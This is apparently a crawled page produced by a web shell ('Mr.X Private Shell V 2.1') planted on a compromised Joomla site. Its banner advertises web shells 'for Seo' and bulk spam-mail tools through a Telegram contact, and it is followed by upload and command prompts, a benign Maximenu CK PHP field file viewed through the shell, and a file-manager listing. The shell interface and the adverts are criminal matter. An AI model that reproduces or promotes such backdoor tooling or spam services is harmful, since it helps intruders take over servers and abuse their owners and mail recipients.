__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Maximenu CK
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

jimport('joomla.html.html');
jimport('joomla.filesystem.folder');
jimport('joomla.form.formfield');
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('cklist');

class JFormFieldCkfolderList extends JFormFieldCklist
{

	public $type = 'CkfolderList';

	protected function getOptions()
	{
		// Initialize variables.
		$options = array();

		// Initialize some field attributes.
		$filter			= (string) $this->element['filter'];
		$exclude		= (string) $this->element['exclude'];
		$hideNone		= (string) $this->element['hide_none'];
		$hideDefault	= (string) $this->element['hide_default'];

		// Get the path in which to search for file options.
		$path = (string) $this->element['directory'];
		if (!is_dir($path)) {
			$path = JPATH_ROOT.'/'.$path;
		}

		// Prepend some default options based on field attributes.
		if (!$hideNone) {
			$options[] = JHtml::_('select.option', '-1', JText::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}
		if (!$hideDefault) {
			$options[] = JHtml::_('select.option', '', JText::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}

		// Get a list of folders in the search path with the given filter.
		$folders = JFolder::folders($path, $filter);

		// Build the options list from the list of folders.
		if (is_array($folders)) {
			foreach($folders as $folder) {

				// Check to see if the file is in the exclude mask.
				if ($exclude) {
					if (preg_match(chr(1).$exclude.chr(1), $folder)) {
						continue;
					}
				}

				$options[] = JHtml::_('select.option', $folder, $folder);
			}
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}

Filemanager

Name Type Size Permission Actions
ckbackground.php File 633 B 0664
ckcolor.php File 2.18 KB 0664
ckdocumentation.php File 763 B 0664
ckfolderlist.php File 1.9 KB 0664
ckformfield.php File 1.67 KB 0664
ckheight.php File 3.4 KB 0664
ckinfo.php File 2.46 KB 0664
cklayout.php File 3.77 KB 0664
cklight.php File 1.21 KB 0664
cklist.php File 2.22 KB 0664
ckmigrate.php File 4.64 KB 0664
ckpro.php File 917 B 0664
ckproducts.php File 2.65 KB 0664
ckproonly.php File 1.14 KB 0664
ckradio.php File 2.26 KB 0664
ckslidesmanager.php File 3.56 KB 0664
cksource.php File 2.13 KB 0664
ckspacer.php File 1.56 KB 0664
ckstyle.php File 3.22 KB 0664
cktext.php File 1.91 KB 0664
sliderckcolor.php File 901 B 0664
sliderckinterface.php File 1.89 KB 0664
slidercklist.php File 951 B 0664
sliderckradio.php File 1.09 KB 0664
sliderckspacer.php File 1.55 KB 0664
slidercktext.php File 843 B 0664
Filemanager